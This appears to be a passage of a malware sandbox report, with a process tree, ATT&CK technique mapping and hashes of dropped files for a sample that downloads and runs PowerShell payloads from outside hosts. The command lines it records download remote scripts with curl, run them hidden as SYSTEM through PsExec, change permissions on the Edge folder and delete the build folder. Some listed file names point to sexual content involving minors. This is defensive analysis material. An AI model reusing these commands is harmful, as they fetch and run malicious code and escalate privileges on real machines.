      "C:\Users\Admin\AppData\Local\Temp\build\7z.exe" x C:\Users\Admin\AppData\Local\Temp/build\1.7z -phttps://racist.pics/license/authcheck -oC:\Users\Admin\AppData\Local\Temp/build -y
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:952
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rAA.ps1 -o C:\Users\Admin\AppData\Local\Temp/build\helloworld.ps1
      4⤵
      PID:3644
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /F C:\Users\Admin\AppData\Local\Temp\ㅤㅤ /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:584
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h ..\ㅤㅤ
      4⤵
      Views/modifies file attributes
      PID:2292
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini
      4⤵
      Drops desktop.ini file(s)
      Views/modifies file attributes
      PID:1768
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4
      4⤵
      Views/modifies file attributes
      PID:864
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4
      4⤵
      Views/modifies file attributes
      PID:5948
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4
      4⤵
      Views/modifies file attributes
      PID:5780
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4
      4⤵
      Views/modifies file attributes
      PID:612
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4
      4⤵
      Views/modifies file attributes
      PID:3196
  - - C:\Users\Admin\AppData\Local\Temp\build\node.exe
      "C:\Users\Admin\AppData\Local\Temp\build\node.exe" index.js
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5220

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5756
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:5308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
- Drops file in Windows directory
PID:5628

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -File "%TMP%\build\helloworld.ps1"
1⤵
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0mgugu0x\0mgugu0x.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5500
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3C53.tmp" "c:\Users\Admin\AppData\Local\Temp\0mgugu0x\CSCC55167D959C1438380B52933D81983EC.TMP"
      4⤵
      PID:5292
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" https://nyx8.net/rANT.ps1 -o C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
    3⤵
    PID:4036
- - C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
    "C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe" -accepteula -s powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
    3⤵
    - Executes dropped EXE
    - Hide Artifacts: Hidden Window
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4880

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3904
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\3y4yzubr\3y4yzubr.cmdline"
    3⤵
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:4448
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RES4B28.tmp" "c:\Windows\SystemTemp\3y4yzubr\CSC18138A4EAE41388566D9FB4D9A531D.TMP"
      4⤵
      Drops file in Windows directory
      PID:4596
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    - Modifies data under HKEY_USERS
    PID:3336
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -setactive e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    PID:788
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /setowner *S-1-5-18 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4232
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-18:(OI)(CI)(F) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1320
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-32-544:(OI)(CI)(RX,W) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1588
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3304
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /remove *S-1-1-0 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2600
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /invokeAdmin.vbs -o "C:\Program Files (x86)\Microsoft Edge\lol\invoke.vbs"
    3⤵
    PID:2616
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /ss.ps1 -o "C:\Program Files (x86)\Microsoft Edge\lol\ss.ps1"
    3⤵
    PID:2692
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /2.7z -o "C:\Program Files (x86)\Microsoft Edge\2.7z"
    3⤵
    PID:908
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /cert.pem -o "C:\Program Files (x86)\Microsoft Edge\env\cert.pem" -k
    3⤵
    PID:356
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /3.7z -o "C:\Program Files (x86)\Microsoft Edge\3.7z"
    3⤵
    PID:2192
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /5.7z -o "C:\Program Files (x86)\Microsoft Edge\5.7z"
    3⤵
    PID:5420
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /6.7z -o "C:\Program Files (x86)\Microsoft Edge\6.7z"
    3⤵
    PID:988
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /7.7z -o "C:\Program Files (x86)\Microsoft Edge\7.7z"
    3⤵
    PID:2824
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \MicrosoftEdgeUpdateFail
    3⤵
    PID:1528
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \X
    3⤵
    PID:2292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command sleep -Seconds 2; rm 'C:\Users\WellSmith\AppData\Local\Temp\build' -Force -Recurse
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2712
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:864

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4268

C:\Windows\system32\wscript.exe
"wscript.exe" "C:\Program Files (x86)\Microsoft Edge\LoL\invoke.vbs" "C:\Program Files (x86)\Microsoft Edge\LoL\ss.ps1"
1⤵
PID:468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

invoke.vbs

Path C:\ProgramData\invoke.vbs
Size 302B
SHA256 76618b05eb59f55ce621fd06f15c0dabd9cd3f47eefcb86b461b5c5634b6c7b2
MD5 bea15e48cac2734d6b9fa5760a164d6c
SHA1 4d292e1b263018ef57c76d797a342ba56db01d83
SHA512 8c6306742ebe04a7b15dd3a95b76bd4acdfd8bab5643b77ed91bc7304a3f73dd115cd480c46988fe2174c5a8693f80891b6c1226e901452434697be4ea4e93ed
TLSH
T16FE0C20AA0BECA554AC7845311E1EC0D8EA6F31C62009531AE329C11AA24954CEE2D07
MD5 SHA1 SHA512 TLSH

Submit Download

rIF.ps1

Path C:\ProgramData\rIF.ps1
Size 6KB
SHA256 3e4951b2a2188ab45c53cb542f896dcb9ee21d71c7c2e91e2177a42e1688dfa1
MD5 6ab39bea09d5ec13d8833eaa36efa57c
SHA1 596de9ff3de26f00bcafb864e7d5e817f1accaf5
SHA512 bbbcc3eec75ba1a1a68192179395a8082fa072db056805d560eca87d9baea4d0e32b027b50d1bee874a42be391b9e46a63e99fffe494e096b707de2f740879e1
SSDEEP 192:qEcJPPvR7EGP+PRPqdDKIPsC8DKlPPB4uPzPyPI:qTJ57EGP+PRPqBNP5OePPBvPzPyPI
TLSH
T160D12B63AF05EE9887C5121C47CF84C1079C17B9A4520DB81689BE8CFA8B19BA5FA04B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 640KB
SHA256 1522a79d90e4cd19fdd8918ba323efd5ee744253dd971ba0c4c3918b26b7f092
MD5 91d1a0d72c0b40b216dc68b48ec00583
SHA1 cbb142e2af444035462669dfc6c759cc4dd3255b
SHA512 c1de710e01ae65ec16b5a256acc112ef9bc2592413f6bd2aa2da057215b38f8038390e2fc37689840235c88f24341fdd530472a972eec7445f1593ddffa968b8
SSDEEP 768:sf0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr1vfEwPRzitFrzcooJImdba5aSt31:s69tQeoVYocxYCutFCJGAKt2hZC
TLSH
T19ED40C3BA470A098DF3C35B1E2AD6F4CBD72641A12E006421F64B57F7A237D8DA0B5E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 1024KB
SHA256 b77926581e2a62195247fe929867581cc5f57f9df68620031a08ad145158310c
MD5 13a8b02771a919aa532af9733a628a8d
SHA1 fe96af91a931ec33321f175b5072f54e100cc8f8
SHA512 c4814f501a7282a9c076852209f1939e958529bc980a3a941274d61ab3ba5d9cdf28427049604926373caa4ad556f9b75fe4b000923e11b295f9f6c9fb8d22ee
SSDEEP 768:0n0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX08oJImdbN:0JZP2tFP3vqY8KqEMtTaBacg
TLSH
T184258437D190B0C5CE2CB171E9ED8F09BA23A10B11A052465FF8957E7A633D98D1B1EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LocalMLS_3.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
Size 68KB
SHA256 aeba001844f1f279571162820d3c0940467377c5d4a30395737b8df48a548cd5
MD5 c0d2d9966e5d1ecb1cbc30e81c407acc
SHA1 e4d82c89c84c18a842fc0c546c00102d117d160e
SHA512 c3457fe3e11ac95dd0195a9e2d7ba43f05830f925519e9520b963fb55e51877bd9e3143e9a01fb6ec5bce6552665374b0259feb1962d5f1293b0a4ed51ad8ca9
SSDEEP 96:gltNNXtOUMUsts7XtFUMbstiUMlst3OXtkL2tVLXtftmAtGt:DnanHnS
TLSH
T15F63051493E4566DF3FB6E706AF656237E3B79902E39D10C0294822D09B1F2CED71B22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WMSDKNS.XML.bak

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f7ad9abdcd636c2c6889999c25838241b47d0a25155ace08f64e55a25eb3ff9
MD5 7aa40f01332d390a0557187ed788e89f
SHA1 7d7c1a1c58e25749832d6634611c29cc8fabbf19
SHA512 1d9d4d55030ef6e8d1e386e61671f00bc271b8df8179ca19846c2b39cbb2bca110b67b3d4a6d1f200966057f5c6cea3f4dd1ad02d11e42ec7d013c6803954966
SSDEEP 1536:iKLmShYoNz8KMSfKQ1EflJntHY9h4iUxaR40i71Yi68nvwAOdB4V3CNBQkj2jaVP:iKLmShYoNz8KMSfKQ1EflJnpY9qiUaR9
TLSH
T135637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0mgugu0x.dll

Path C:\Users\Admin\AppData\Local\Temp\0mgugu0x\0mgugu0x.dll
Size 3KB
SHA256 4e9c2beee6955e2a2e3c1b770866cb5e623e5eb8f2808e6cd585d08f2c34b922
MD5 6d11161541c2d93c2e621c56fe01dbe5
SHA1 1f3e9902870f46b20d5ee542986d1c7320f5cf3c
SHA512 52fa7a16f9a78ea4d0cebaf51a5bb29f3dfdedab8509f2d0f6fbbbbd9882b116f027b9527d518430bc4115b21ce6c838673a9520c76b15f5b0b2846187c6df52
TLSH
T16F71CC1A97E84A2FE4BB0734AEF7471367B5F8508F73875E0D8002596CA12645A72BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES3C53.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3C53.tmp
Size 1KB
SHA256 b4db32d7005cb10c4f623a81cd02522be7190e8774c5783c7a8d26e934385f1e
MD5 72993b7b3586432105f942ccc0766c10
SHA1 398ab5886a5f14ba009ffe8707d5e0faf03d009d
SHA512 b73e56025262a8afa192329e2a1b1774d7c8ad458d00dfbc6d9fa0e82c1a02e4de9580efd6d9635394d2710a067f0a3e0bb10345fddcb03ede15954169c628fe
TLSH
T1C821EF0983E9471FF073173269FA432BA275FD95DFA297AF854003692C01104DEE0EB2
MD5 SHA1 SHA512 TLSH

Submit Download

RESA57.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA57.tmp
Size 1KB
SHA256 66048d9d0b1c4c36641798475a2edc91ddf3b1290dc207b34ba95f61a9b91676
MD5 4785236df548aef4dfde9e2a44e8f594
SHA1 1920d8273993f629f1eadd58b528a510babf8e88
SHA512 c47d5f883692f1c066bdc3f8db657f2340efe7f228cbb5bfebd48cd2c7c862e85ab2624371b8290c7da4ba096c1d906b632966c45bd85ad96669c673ed63493f
TLSH
T14121CC0583E9871FF0B38B3279F5576B9635FD54EFA6936A8880022C1C11618EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

RESBDD.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESBDD.tmp
Size 1KB
SHA256 0b3a846ade676b44293f46023b09520d1128530bafd3c5196b9daddc533717f3
MD5 95a3b0bf1caa6e0c28e2a1a41b68f206
SHA1 af8bf3564d0e3eca0d38ee1a1e0254b743f6811c
SHA512 00e6af06b8f90aa2ac1bf80cc8a9b07c7ac1955677fff56687958bcf5448ef0a4bc7130c2f7bef83438c62f5e251580ec1b85e3c0ed51a7efd9ce908b2975aa0
TLSH
T15821AA0593EC471EF0B34B31A9F5272BA175FD54AF61935AC54002292C52644EFA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

RESC3B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC3B.tmp
Size 1KB
SHA256 224bb1210afbe718169c4c229b79dec5e65985b0a1f6c321eda6e7a2ae916a8f
MD5 6e7b268f45657049f3645ed90d7dab9a
SHA1 4d015cb9969f3d6259048016f5e9b7ec8acfe43a
SHA512 69e768d62a53de2be21201f262a261a1e84be372f269ecab05026cdf5fb166b8f99c23c6721084cdeb4f478e547cf5cf1b9981a51def2f6f6da462fe6e744810
TLSH
T13B218C4593EC471FF0735731B9FA572FA276FD58EF62936A8980022C2C51614EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lkmidlmk.cxv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lkmidlmk.cxv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a.cmd

Path C:\Users\Admin\AppData\Local\Temp\a.cmd
Size 309B
SHA256 b0ad0dae605be15f250b01fe818e6cad76452b391cd48a087de6d2ddf83ba9a4
MD5 1cd006b01298d34c6daea4049c9f968b
SHA1 f8515dd6a247f045f4b2c41576a65fe8e0d38709
SHA512 7adc26d0806770a794ddca2d4d8f332d40e43d2cbcc9e178c7422ff96f04ce88168637731ab21568a8bfc6dca1c39919cc7c70e77a2d6ac446428deae232327f
TLSH
T14DE07D41FB04726ECE074C2A345291E4724F719A3F12938BA4720F1A3CAC365E25E603
MD5 SHA1 SHA512 TLSH

Submit Download

althmdgh.dll

Path C:\Users\Admin\AppData\Local\Temp\althmdgh\althmdgh.dll
Size 3KB
SHA256 4fe9229d386152d1ee16265fb21bb3b570f93450f36ba0bb602ac3a77eac77d8
MD5 463a0622e9bb14b5798dab69864948b7
SHA1 c5e96b24d4ec41f5fcba5d7bfe9aff36036e268e
SHA512 a2ec0bf1641a727e48c553683501ffc2d94fa79ef9546bb5a98fccf47967e8fe75435001e41be7297e4a19e20e0be0ba2dd625bc2bcd0409fbe5377aceebe78f
TLSH
T15951B81AA7E8466BF4BB4B346EF343273BB8F8609B73971E49C042196C613645931FB0
MD5 SHA1 SHA512 TLSH

Submit Download

1.7z

Path C:\Users\Admin\AppData\Local\Temp\build\1.7z
Size 7.2MB
SHA256 ebf52d694af6fb9ffe7cf01bfc5c1cf2f5c2089c4d88c1c2edd4016a8d041f0e
MD5 2999227cb641cb3c55f25131e0f271d6
SHA1 2b3126bd866cb16af0dc5d0d5a6954536abdb04c
SHA512 29275bffd1188b6e7ae74243efb1df569613b39bd2f81fbcf873fb0379e4749a433f6713996de973946c4491524e2973e45be1f4b89a7b959ea45679c77c94be
SSDEEP 196608:9Qqt68Q1CR1dghXLewagOsHzSEZPgzD6JjmnsaH:9/68Zz6BewFSEKzDQaH
TLSH
T1D1763364BC8795FBAE02FD4681497D73583DBE28A37977160B573DAC0AC3950DA832C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Users\Admin\AppData\Local\Temp\build\7z.exe
Size 587KB
SHA256 27cbe3d5804ad09e90bbcaa916da0d5c3b0be9462d0e0fb6cb54be5ed9030875
MD5 890595b9f1fcbd6b627386335e96251b
SHA1 8c95c825f7385487811cc2ee4b08d5e44da88b7a
SHA512 7d84fcad0a6a1cf8c2e7bb01606c671cd91bf2691595eee1f0d67c89711c551778188423f07bbbfdced6ea03eda33b513fffa39584c60e9a5079a0efb7e73bb0
SSDEEP 12288:vtLgnXR4DYfux5XilKqQ+far3OGS4Q6sKs5KVDrTnacLL:vN8RcciXi0zIi364Zsz5KVDScv
TLSH
T179D4AE173AE5C07ED25215308A1D6BB590FBC7690B3208C763809E6D2B359E6D63B93E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PsExec.exe

Path C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
Size 699KB
SHA256 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
MD5 24a648a48741b1ac809e47b9543c6f12
SHA1 3e2272b916da4be3c120d17490423230ab62c174
SHA512 b974ce956f2e922e92ca414d1bd6cc7bcb36bc44532b28b392f2a8052d6d47fd742841c4add6ec5c8283d28d7245b1704af34a523917e49cef007eef700a0b9a
SSDEEP 12288:LOO6oMlKDdwPDMlkw6Pph0lhSMXle+eO1HK+meynh5yRX3oRG72:LD9McwPDCkw6Bh0lhSMXlemqth5yRX3E
TLSH
T1B4E48D1172D18032E0B22A301AB89BB16A3E7D305F7595DF27D85A7E5E30AC1DA35B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

URL

Path C:\Users\Admin\AppData\Local\Temp\build\URL
Size 19B
SHA256 d90c4bd3352c37402f36a4db0bc82c7a3c194660a1c29956ca2e7f3c3f842eda
MD5 ef1af41a40b8405463afabcfe316be21
SHA1 7f2f66eef7105730a49124f2664f734e522b8ecd
SHA512 8b6612cd0a7a1c7f73e4c69ecb72b9259bf8d7853d5a864b8f85ca703d59fa18905ba336e0c893b6844ba2ef1172634c4e7715113cfb4138186121feae141827
MD5 SHA1 SHA512

Submit Download

cID

Path C:\Users\Admin\AppData\Local\Temp\build\cID
Size 6B
SHA256 405d221afe891372c2ab37d4c80fc177544eae90a182f0669ef40dba6ce5d1fd
MD5 c44f7545a6c17165f0303e2fe936bead
SHA1 59caea36efeeb2846dab5d50d404911e00eaead0
SHA512 ba6a9ac73fd9cefb36d6adaba78266fb5ec98540b2f3d7259590a8ecd7c445f8a3f64695f30cbc769bae2aa2a9a7d53b27e1c55bdc4f0d81a4aa5030979584b1
MD5 SHA1 SHA512

Submit Download

helloworld.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1
Size 20KB
SHA256 0d1b024172ea86df2792c31eb8520a4e219f5f7445a16adbdc0c7e6e127d2303
MD5 1415a24ab212b2916f5026eb262c9be8
SHA1 52fbe8db2d0a1c2ac9843d6e2619f0ba08cd4f02
SHA512 41ec20679d2140845e185ea0c03a9c9453e5e32b769423032974f1962a872a801183699294087a8ae273a2e0f2bfb4d611d8bf15a41f06bb5abe48c9a7e79bed
SSDEEP 384:CGYpCJNhHcUtbe+LQDAmdjZOfFsIGHncRfWR+n/fdk/GEfHzsPBPNPqRb1PRQP8h:pLhHcSbe+GLjQyTHn1Rstdx5161S3g8q
TLSH
T1E692BF2ACE46EE3ECBC0E56C85ED98D857BC1BBA94D0A5D410092564FF03D8AE5FD043
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\build\index.js
Size 94B
SHA256 a18359890214e4f5bef4d027a2de66abdc0a300c0f46d27327550c8d5dcb176f
MD5 182832a73ec19ae2d7d2ea3a4fa03587
SHA1 f7e76199d62be207040c383fe1c54b18a7392f3a
SHA512 d07418175730f6fed9d2446070850d704c1179aa673e404486c60bd170f02587e692dcf3d6cc166a415e692755151826b30e1cfd87ad882827f37bc206dd5496
TLSH
T19AB012D310D333632E9040CCE0C3223138C1F0542B105A18EA8CC05503114C00315CC4
MD5 SHA1 SHA512 TLSH

Submit Download

inject.node

Path C:\Users\Admin\AppData\Local\Temp\build\inject.node
Size 927KB
SHA256 a3fd9123361e8f1c00f30786aadb7d6985ac8c8c6eda70dbce3828b94a54f5e0
MD5 4a05ac7d8a0eaa2666792923a772e2bf
SHA1 5513ef3aec94c842a3cd9fc469ceee21d3576f0c
SHA512 ef70a3a922bbdb9aa6343f5c5d9a9e3b58e8fa13644a6877c2597534049b470d5a0abbaf5c3187561d0c926a3e0ea61ef8f3ecdd01a2964fb2939c344153ff3f
SSDEEP 24576:gxM6S7zDlclpi28NviQzylHy+FIjT7x4WX4FsDLAgRYeS:7imoc
TLSH
T17E15F18D466C89E9F8979A70881706C76BF27C89D280EE5FAFD0045C1DB35D2817FE92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node.exe

Path C:\Users\Admin\AppData\Local\Temp\build\node.exe
Size 24.9MB
SHA256 6664cc00232d95f73e050f25b1dd1000b44f63e35f051734c9bee478cd3574c7
MD5 382b8f4b78ec9f5aa32cdd9635f77c65
SHA1 26dedbc963be336fd4552c50b0ff296656ad1f74
SHA512 cb2ed5e4e3e611a12d2367753da85f3268422abde9151fc881716620b6ff92110f32efbb16923f37f6fb3d1c806782affb3ee166b4a00b7b1aca8901cd463c72
SSDEEP 393216:kDoSAfzAfMr7lfQFbM+uxOjhNKl6gAAznOltkjBOLf2Te2DCdFDEN5u:kFRQBOLOzu
TLSH
T1AC477C1373E50195E5B3C23889AB4213D773B8624B30CBDF216D42592FB7AE09A7E761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pID

Path C:\Users\Admin\AppData\Local\Temp\build\pID
Size 12B
SHA256 51a54e3eee6d21f912fe0db836f92b09f58f8e893b7b08e4990560bbb3d4d356
MD5 8fb91d1e4533937b40e2152099e76511
SHA1 fe7bbe1646824a4272fd812e818f83ef18c7bb38
SHA512 f98962b5ab134a7e4923c471d45dee15b9819759acc439c7a042737b4891f2350f39e3228cff266b3a6281d43fc298065c65f76b1e8e2cfb24f63d6d66103931
MD5 SHA1 SHA512

Submit Download

rANT.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
Size 19KB
SHA256 474050d4fe8acd2098ad8549df1c17f46fe4f1af35cfee7394c636fc5ad45912
MD5 079591b177f57dd00fd4efaa6868b2a2
SHA1 7d7b7a4d70e3c99653d3dcd04fd521bf422c8904
